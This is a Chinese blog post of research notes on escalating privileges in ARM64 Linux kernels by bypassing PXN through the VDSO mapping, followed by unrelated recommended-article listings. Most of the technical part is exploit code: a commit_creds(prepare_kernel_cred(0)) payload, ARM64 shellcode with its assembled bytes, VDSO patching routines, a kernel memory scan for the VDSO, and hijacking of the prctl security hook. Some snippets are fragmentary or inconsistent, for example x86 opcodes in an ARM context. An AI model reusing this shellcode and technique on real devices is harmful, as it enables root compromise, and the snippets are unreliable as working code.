arm64 linux 提权研究

linux 内核ARM64启动 这个是与机器有关的,可能使用了内部算法自动的定位并取得物理内存的大小,这些CPU在内核之外的保留的内存区域(dtb里的 /memreserve/ 的指定区域)空转,并轮询“cpu-release-addr”地址,该地址也在保留区域内。任何描述给内核的内存(包括低于镜像起始地址的),如果没有标记为保留的(dtb里的 /memreserve指定)将被内核认为是可以使用的。所有可写的系统寄存器在这内核镜像将要进入的异常级别(EL)必须在一个更高的异常级别(EL)通过软件初始化,来防止在一个未知的状态执行。 阅读详情

关于漏洞

这里只是对核心的缓解技术pxn如何绕过做了些思考,暂时不利用0day溢出。我先自己制造了一个堆溢出覆盖指针的漏洞。旨在研究pxn的一中叫做利用VDSO机制绕过的方式
给shellcode找块福地- 通过VDSO绕过PXN

一 . 前言

我们的前提是溢出控制了内核模块某个函数的地址,并且可以传递至少一个参数。我这里是一个。

二 . 大体思路

我们的思路就是这个VDSO, 由于这个共享内存的存在,如果我们能够控制这个内存的写操作,那么我们在内核中的空间,就可以布置我们的rop或者shellcode 。直接执行代码,因为这块内存在用户空间和内核空间存在对应的映射关系。 很明显我们知道这块内存是可以执行的。唯一的问题是可写的权限,这个也不是问题。我们利用set_memory_rw()函数来增加这个权限。 那么我们就可直接在用户层改写这块区域的函数,对应的内核空间就会直接映射出相应的数据。最后利用我们的内核溢出任意执行实现提权。

三 . 核心提权代码

void get_root()
{
	size_t sprepare_kernel_cred_addr=0xffffffc0000d2d60;
	size_t scommit_creds_addr=0xffffffc0000d2800;
	char* (*pkc)(int) = sprepare_kernel_cred_addr;
	void (*cc)(char*) = scommit_creds_addr;
	(*cc)((*pkc)(0));
}

我们的目的是在内核中执行这块代码。我们会用地址泄露的方式获取内核函数的地址,prepare_kernel_cred,commit_creds
。硬编码是不符合我的性格的。所以这两个参数我要从用户层传递进来。怎么得到,就不讨论了。感兴趣的自己研究吧。但是我们的任意执行有一个限制,只有一个参数。

开始的时候很纠结,想要不要退一步,搞个两个参数的执行指针,觉得那样利用价值就会低很多。 所以坚决否定。 其实很简单,我们这可以把这俩个参数放在连续的内存中,利用一个指针进行传递,最后分别进行rop链构造。

四. shellcode构造

.section .text
.global _start
_start:
   stp	x29, x30, [sp, #-16]!
   mov	x1, #0xffffffffffff2d60    	; #-53920
   movk	x1, #0xd, lsl #16
   mov	w0, #0x0                   	; #0
   mov	x29, sp
   movk	x1, #0xffc0, lsl #32
   blr	x1
   mov	x1, #0xffffffffffff2800    	; #-55296
   movk	x1, #0xd, lsl #16
   movk	x1, #0xffc0, lsl #32
   blr	x1
   ldp	x29, x30, [sp], #16
   ret
#/bin/sh
aarch64-linux-gnu-as -o shellcode.o shellcode.s && aarch64-linux-gnu-ld -o shellcode shellcode.o
#aarch64-linux-gnu-objdump -d ./shellcode
aarch64-linux-gnu-objcopy -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin && echo
\xfd\x7b\xbf\xa9\xe1\x53\x9a\x92\xa1\x01\xa0\xf2\x00\x00\x80\x52\xfd\x03\x00\x91\x01\xf8\xdf\xf2\x20\x00\x3f\xd6\xe1\xff\x9a\x92\xa1\x01\xa0\xf2\x01\xf8\xdf\xf2\x20\x00\x3f\xd6\xfd\x7b\xc1\xa8\xc0\x03\x5f\xd6

想了下,这里必须要动态生成一下了。因为好像prepare_kernel_cred,commit_creds的地址没法动态传递。

可能shellcode 可以优化,待会再说。

脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析

脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析

这里看了下这个脏牛关于patch vdso的利用,简直不能在一样,可惜是x86架构32位,不过参考价值还是很大的。

五 . 关于如何更改vdso的思考

上一小节那两篇介绍了脏牛里的更改方法,我这里没那么麻烦。

因为我们假设内核任意地址执行的漏洞已经有了。 那么,我的思路是:

  1. 用户态找到vdso_addr clock_gettime_addr地址
    p = vdso_addr;
	entry_point = *(uint64_t *)(p + 0x18);
	clock_gettime_offset = (uint32_t)entry_point & 0xfff;
	clock_gettime_addr = (unsigned long)vdso_addr + clock_gettime_offset;

由于我们之前已经做过了关于内核泄露的部分,所以可以知道gettimeofdate关于内核中的地址。

而我们的shellcode将会放到vdso映射区域的尾部,这一部分的地址可以通过我们在用户态布置的地址和用户态gettime函数的地址的偏移计算出内核中shellcode 映射出来的地址。

也就布置成功了内核中的shellcode,最后使用代码执行进行执行。

	target = VDSO_SIZE - payload_len - clock_gettime_offset;
	memset(buf, '\x90', sizeof(PATTERN_PROLOGUE)-1);
	buf[0] = '\xe8';
	*(uint32_t *)&buf[1] = target - 5;

	vdso_patch[1].patch = buf;
	vdso_patch[1].size = prologue->size;
	vdso_patch[1].addr = (unsigned char *)clock_gettime_addr;

	save_orig_vdso();

六 . 关于直接开启页面执行权限

set_memory_x();

七 . 对vdso利用思路的小结

以上分析基于vdso和kernelbase的偏移固定不变。我本来想验证下这个随机化对这个偏移的影响,但是,测了几个版本的内核跟本没有开启随机化。如果是这样那么利用将会变得更为简单。
具体利用思路为:

1. 获得用户态vdso地址 利用getauxual函数;

2. 根据用户态vdso 文件的elf 爆破得到内核 vdso的地址。(如果开启了随机化,且偏移与kernel base不同或没有基址泄露的漏洞)

3. 写入内核vdso数据

(1)任意读写漏洞 直接可以复制到内核中。

如何执行,利用prtcl。这个函数可以最多传输1~5个参数。 它的调用路径是这样的:prctl->security_task_prctl-> (security_operations)->task_prctl 。如果我们修改(security_operations)->task_prctl为我们调用的函数地址,那么用户态执行prctl即可执行payload代码。

    // 劫持prctl_hook去执行poweroff_work
    memset(buf,'\x00',0x1000);
    *(size_t *)buf = poweroff_work_addr;
    write_mem(fd,prctl_hook, buf, 8);

    //需要fork()子线程来执行reverse_shell程序
    if (fork()==0){
    	prctl(addr,2,addr,addr,2);
    	exit(-1);
    }
(2)eip覆盖漏洞,需要修改页面权限
set_memory_rw函数修改用户态中vdso中的写权限,用户态写入数据。内核态找到执行之。
(3)利用条件竞争写入(脏牛提权)

八.关于执行权限

突然发现一个重大的问题,就是一般意义上vdso不能用来提权。因为vdso在内核中rw权限,而且不会在内核中执行。在用户层倒是rx权限。可惜没有提权的权限。我说看了一些poc好像感觉不太对。
但是,我们可以利用任意执行溢出或任意读写溢出修改vdso在内核中的执行权限。最后执行之。
那么我们的思路将会变成:

1直接在vdso尾部布置shellcode。
struct vdso_patch {
	unsigned char *patch;
	unsigned char *copy;
	size_t size;
	void *addr;
};
static struct vdso_patch vdso_patch[2];

	vdso_patch[0].patch = payload;
	vdso_patch[0].size = payload_len;
	vdso_patch[0].addr = (unsigned char *)vdso_addr + VDSO_SIZE - payload_len;
	
	write_mem(fd,vdso_patch[0].addr, vdso_patch[0].patch,vdso_patch[0].addr); 

2内核中查找shellocde 爆破vdso中的位置。
#define START_ADDR 0xffffffc000000000 //0xffffffff80000000
#define END_ADDR 0xffffffc00fffffff    //ffffffffffffefff
	for (size_t addr=START_ADDR; addr<END_ADDR; addr+=0x1000)
	{
		read_mem(fd,addr,buf,0x1000);
		if (!strcmp("gettimeofday",buf+0x202))
		{
			result=addr;
			printf("[+] found vdso 0x%lx\n",result);
			break;
		}
	}

这里利用任意读写漏洞,但是要注意内核cpoy_to_user并不是所有的地址都可以读取。所有爆破地址范围如果没有选择对,这里很容易异常。我们可以在适配机上 cat /proc/kallsyms | grep gettimeofday 猜测vdso可能的范围。我这里猜测 0xffffffc000000000——0xffffffc00fffffff,感觉足够大了。 (!strcmp(“gettimeofday”,buf+0x202)这个是202是根据用户态vdso dump文件中gettimeofday字符串的位置偏移。

3任意代码执行。
	if (check_vdso_shellcode(payload)!=0){
			use_after_free_msgsnd(fd,set_memory_x_addr,vdso_addr,...);
			use_after_free_msgsnd(fd,vdso_patch[0].addr,0);
	}

九.其他执行方式

如果必须单纯的读写任意漏洞才能完成这个过程,就显得有点鸡肋。我看了下vdso的地址,在内核中有个导出符号。

# cat /proc/kallsyms | grep ffffffc0008f9
ffffffc0008f9000 D vdso_start

我这里爆破出来的和导出的符号地址一样,所以我们可以利用信息泄露根据kernel_base计算vdso地址。在加上单纯的任意代码执行。通过劫持task_prctl,将其修改成为set_memory_x。和条件竞争的写入,应该也能实现提权。

十.一些意外

任意读写的漏洞其实根本用不了以上那么麻烦。因为我们修改了security_task_prctl的内容以后,可以直接执行提权指令。
prctl(null,null,null,null,null);
以上讨论唯一的意义在于,没有任意读写漏洞,只能劫持pc指针的话,那么我们可以用线程竞争在用户态布置代码,修改页权限,最后执行提权。
不过还有个问题就是修改页权限似乎还可能不那么容易。

这里有点疑惑,内核中的代码为什么可以直接篡改,理论上应该受权限的限制,即使是任意读写漏洞页写不了,必须修改权限才可以,可能这里的内核没有写保护吧。

参考:
漏洞分析一百篇-03-Dirtycow条件竞争漏洞

人见人爱的vDSO机制,如今也靠不住了

linux内核提权系列教程(2):任意地址读写到提权的4种方法

PSTORE ramoops 在Linux x86_64 与 arm64上使用 Pstore中的ramoops,分别在linux x86_64 与arm64上的使用。其中主要说明了怎么自动分配一段内存来作为ramoops 存储log的预留内存的方式。 阅读详情

相关推荐

Linux移植笔记--arm64上的Linux系统移植

  linux作为一款流行的嵌入式系统,目前已经有多种架构的MCU支持Linux移植,arm64就是其中一种。今天在这里想做一个笔记,记录一下完整的arm64移植过程。 嵌入式Linux系统组成部分 嵌入式Linux移植到开发板上时,主要有四个组成部分,下面一 一列举。   在启动过程中,bootloader加载设备树文件(dtb),之后启动内核(Start kernel),进而加载根文件系统(debian或者ubuntu),最后进入系统。   那么我们所做的工作可以分为以下三部分: 1、进行bootlo

中华田园巨龙 2620

Linux权限的基本知识

对于一个操作系统,权限的划分是肯定的,我们在使用Windows操作系统时如果在C盘中删除一些系统级的文件夹,那么操作系统肯定会提示你权限不足,Linux也是如此,在执行某些命令时需要特殊权限,本节将为您介绍!

ARMCSKGT的博客 5420

Linux内核配置解析 - 概述(基于ARM64架构)

对刚接触Linux kernel的同学来说,遇到的第一个问题就是:我该从哪里入手?话说Linux kernel的打开方式是多种多样的:从简单的设备驱动入手;从源代码的目录结构入手;从kernel的启动过程入手;从大的功能模块入手;等等。不管怎样,每条都是正途(条条大路通罗马嘛)。而本文(以及随后的系列文章),将从Linux kernel的配置项入手,从整体上认识Linux kernel。

m0_74282605的博客 1320

JS闭包产生条件、作用、生命周期

闭包1. 闭包的概念2. 闭包产生条件 1. 闭包的概念 闭包就是能够读取其他函数内部变量的函数,或者子函数在外调用(子函数所在的夫函数的作用域不会被释放)。 2. 闭包产生条件 函数嵌套 例如: function A() { function B() { } } 内部函数引用了外部函数中的数据(属性、函数) 例如: function A() { var a = "a"; function B() { console.log(a); } } 执行外部函数(也可理解

aolyu的博客 1068

qemu单步调试arm64 linux kernel

qemu内核调试时需要注意关闭kaslr,更新正确的脚本,也不依赖kenerl config是否开启kaslr-smp 2 \-s \-S关于kaslr原理相关的知识,有兴趣的伙伴参考 文章kaslr原理分析。

yanghao23的专栏 2494

arm64 页表以及映射分析

在linux系统中,arm64的页表映射是通过__create_pgd_mapping函数实现的,在linux 系统中,页表的级别分为为PGD,PUD,PMD,PTE。__create_pgd_mapping函数__create_pgd_mapping_locked实现后续的页表映射工作。如果页表描述符的最低位为0则表示当前页表描述符是一个无效的页表描述符,对于L0 ~ L3页表描述符表都适用。alloc_init_cont_pte函数用于做pte页表的映射工作。init_pmd函数用于配置pmd页表项。

天使之翼 3339

Linux arm64 set_memory_ro/rw函数

Linux arm64 set_memory_ro/rw函数简介,以及使用set_memory_ro/rw函数来hook系统调用

小立仔 1631

555时基芯片的5种经典电路设计:从方波发生器到PWM调光实战

本文深入解析了555时基芯片的5种经典电路设计,从基础的无稳态方波发生器、单稳态触发器,到实用的占空比可调PWM信号源,并重点介绍了如何引入TVS保护电路增强系统鲁棒性。最后通过一个带保护的PWM LED调光台灯实战项目,综合展示了信号生成、功率驱动与电路保护的核心技术,是电子爱好者掌握模拟电路设计与应用的绝佳指南。

weixin_29207439的博客 491

Linux Arm获取时间的方法

上述1和2,底层似乎就是通过寄存器实现的,因为精度与直接读寄存器一致。参考下面文章,我的服务器无法编译通过这个汇编,明天试试别的机器。本身耗时约0.25us @1.4GHz。本身耗时约0.3us @1.4GHz。3.直接读ARM寄存器。

christmans的博客 764

Docker深度详解:从原理到实践的全方位指南

本文深入解析了Docker容器化技术的核心原理与实战应用。主要内容包括:1) Docker核心架构与优势,对比容器与虚拟机的关键差异;2) 企业级部署方案,涵盖离线安装与多镜像源配置;3) 高级镜像构建技术,如参数化构建、缓存优化及安全扫描;4) 容器生命周期管理,包括健康检查、资源限制及数据持久化方案。文章提供了丰富的代码示例和生产级配置建议,如使用Trivy进行安全扫描、精确控制容器资源等技术细节,帮助开发者全面掌握现代容器化技术。

weixin_42593797的博客 1281

智能体评测技术与实践:从评估维度到DeepEval实战指南

智能体评测技术与实践:从评估维度到DeepEval实战指南 本文系统探讨了AI智能体的评测体系与实践方法。首先从四个关键维度构建评估框架:基础能力(意图理解、知识完整性)、复杂任务(多轮对话、动态工作流)、可靠性(幻觉抑制、安全合规)以及工具效率(参数填充、多工具协同)。其次分析了主流评测工具,包括xBench的动态双轨评估、DeepEval的全链路监控等解决方案。最后详细介绍了DeepEval的实战应用,涵盖环境配置、测试用例构建、指标配置及CI/CD集成,展示了如何通过代码化评估实现智能体质量的持续提升

Linda的自动化测试之旅 3416

任意地址读写驱动提权(cred、VDSO、modprobe_path、core_pattern、修改内核指针提权)

驱动提权实战 题目网址:https://github.com/bsauce/kernel_exploit_series 业务流程 ioctl 先分析下驱动程序 static long do_ioctl(struct file *filp, unsigned int cmd, unsigned long args) { int ret; unsigned long *p_arg = (unsigned long *)args; ret = 0; switch(cmd) { ... case

YJM_____的博客 1249

Fluent动网格+滑移网格+重叠网格对比介绍(以震荡水翼flapping foil为例)

初学fluent笔记,本文主要包含: Flapping foil在fluent内的几种实现方式 在哪设置动网格、滑移、重叠网格 flapping的UDF 示例 写在前面:Fluent在预览网格运动/提交计算之前,注意保存一个cas版本。 -------------------------Flapping foil 网格几种组合实现方式:---------------------- 直接重叠网格,overset, 需要建立两个几何part,part要重合。水翼局部区域(component),背景网格(ba

深海民工CFDer 2万+

QEMU启动ARM64 Linux内核

本文介绍采用 qemu 模拟ARM-64bit开发板,并启动ARM64 Linux内核。

许振坪的专栏 1万+

告别黑盒调试:用MMSegmentation可视化工具链,从训练到评估一目了然

本文介绍了如何利用MMSegmentation的可视化工具链,从训练到评估实现语义分割模型的透明化调试。通过整合日志分析、混淆矩阵、PR曲线等工具,开发者可以快速定位模型问题,优化性能。文章详细展示了训练曲线分析、性能剖析、混淆矩阵解读和PR曲线应用等关键步骤,帮助用户告别黑盒调试,提升模型开发效率。

weixin_29100927的博客 105

量化策略分享之首板低开

这个量化策略的核心是选择在低位、首次涨停后次日低开的股票,开盘时买入,上午有盈利就卖出,没有就拿到尾盘在卖出;策略优点在于选择的股票在低位,风险较低,并且刚启动首板,有大资金介入,第二天能快速跑路。

qq_29301281的博客 1467

搭建qemu运行arm64 Linux环境

修改完mk_initrd.sh 脚本后,我们先创建一个make_initrd目录,并把 mk_initrd.sh 脚本拷贝到该目录下,由于在ubuntu下做mount和umount操作需要sudo权限,所以在执行mk_initrd.sh脚本前需要先在终端进入sudo权限,然后再执行该 mk_initrd.sh 脚本生成initrd.ext4镜像,命令和日志如下:​​​​​​​。然后通过qemu.sh脚本来让模拟器运行linux内核,对应的命令和日志如下:​​​​​​​。

linux_research的博客 3830

OpenHarmony Stage模型深度解剖:从Ability Kit到沙箱隔离的全链路底层原理

基于微内核架构,提供进程管理、内存管理、IPC通信等基础能力:包含V8引擎、ArkTS运行时、渲染引擎等核心组件:Ability Kit框架,提供应用生命周期管理、组件调度等能力:基于Stage模型的应用程序。

m0_67505153的博客 191

arm64 Linux操作系统知识点

低地址存放:指向上一个栈 (父函数的栈)的栈基地址 FP,类似于链表的prev指针。应用程序要访问内核就必须通过系统调用层,内核可以在系统调用层对应用程序的访问权限、用户类型和其他一些规则进行过滤,以避免应用程序不正确地访问内核。高地址存放:当前函数的返回地址,也就是进入该函数时LR的值,本书把这个地址称为P_LR(Previous LR)。在函数执行时,FP和SP寄存器会指向该函数栈空间的FP处。4. 函数返回时,ARM64处理器先把栈中的P_LR的值载入当前LR,然后执行RET指令。

weixin_42198851的博客 1850

基于YOLOv8的水果新鲜程度检测系统设计与实现

数据采集与预处理模块:负责收集水果图像数据并进行标注和增强深度学习模型:基于YOLOv8的目标检测模型新鲜度评估模块:根据检测结果评估水果新鲜程度用户界面:提供友好的交互界面系统集成:将各模块整合为完整系统水果新鲜程度检测需要包含多种水果在不同新鲜度状态下的图像数据集。:包含5种常见水果(苹果、香蕉、橙子、葡萄、草莓)在不同新鲜度下的图像包含约8,000张图像,分为新鲜和腐烂两类AgriVision:大型农业图像数据集,包含水果检测和分类任务Fruit-360:包含120种水果的高质量图像。

YOLO 444

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

linux 上编译arm64,Arch Linux 搭建 arm64/AArch64 交叉编译环境

Arch Linux 搭建 arm64/AArch64 交叉编译环境0. 系统环境系统:Arch Linux: 成文时间最新工具版本:Binutils:2.34-1GCC:9.2.1+20200130-2GNUMake:4.31. 编译交叉编译工具链此部分参考博客.交叉编译工具链需要用到至少七个工具(库):Binutilshttps://www.gnu.org/software/binutils/...

weixin_42355003的博客 3678

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

ARM64 Linux 内核学习指南:从基础到实践

ARM64 作为当今主流的处理器架构,被广泛应用于移动设备、嵌入式系统和服务器领域。学习 ARM64 在 Linux 内核中的实现,不仅有助于深入理解操作系统底层机制,还能提升在内核开发、驱动编写、虚拟化等领域的专业能力。本指南面向对 Linux 内核有一定了解的读者,提供完整的学习思路和实践路径,帮助你高效掌握 ARM64 Linux 内核。

Interview_TC的博客 1644

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

【慕伏白】在 ARM64 Linux 上配置 Android Studio

截至目前,Android Studio 官方还未提供 ARM64 Linux 平台版本及完整工具链支持,本文将分享一种非官方配置方案,可以在 Linux ARM64 系统中搭建可用的基础开发环境。

慕伏白の博客 1876

ARM64是否需要MMU才能运行Linux系统

本文深入解析ARM64架构下Linux必须启用MMU的原因,涵盖地址空间隔离、内存保护和虚拟内存机制,结合内核启动流程与编译配置,说明MMU在系统稳定性与安全性中的核心作用,揭示无MMU无法支持现代操作系统功能的根本限制。

river的博客 1046

Ubuntu 上使用 qemu 模拟 Arm64 linux

Ubuntu 上用 qemu 模拟 Arm64 linux欢迎使用Markdown编辑器环境配置功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好! 这是你第一次使用 Markdown编辑器 所展

u010739216的博客 2531

ARM DS-5单步调试ARM64 linux 内核

目录 1 介绍 2 开发环境 3 准备工作 3.1 Ubuntu环境准备 3.2 源代码准备 3.3 DS-5准备 3.4 使用DS-5调试源码 3.4.1 建立源码工程 3.4.2创建debug配置 3.4.2 使用kernle_debug调试arm64 linux内核代码 4 使用-O0的内核进行调试 4.1 内核下载 4.2 编译链设置 4.3 构建源码 4....

pomelo coder 6221
上一篇: qemu 搭建linux内核调试
下一篇: 关于内存 页 物理地址 虚拟地址的思考 漏洞利用思考
inquisiter
博客等级 码龄10年 374粉丝 228原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值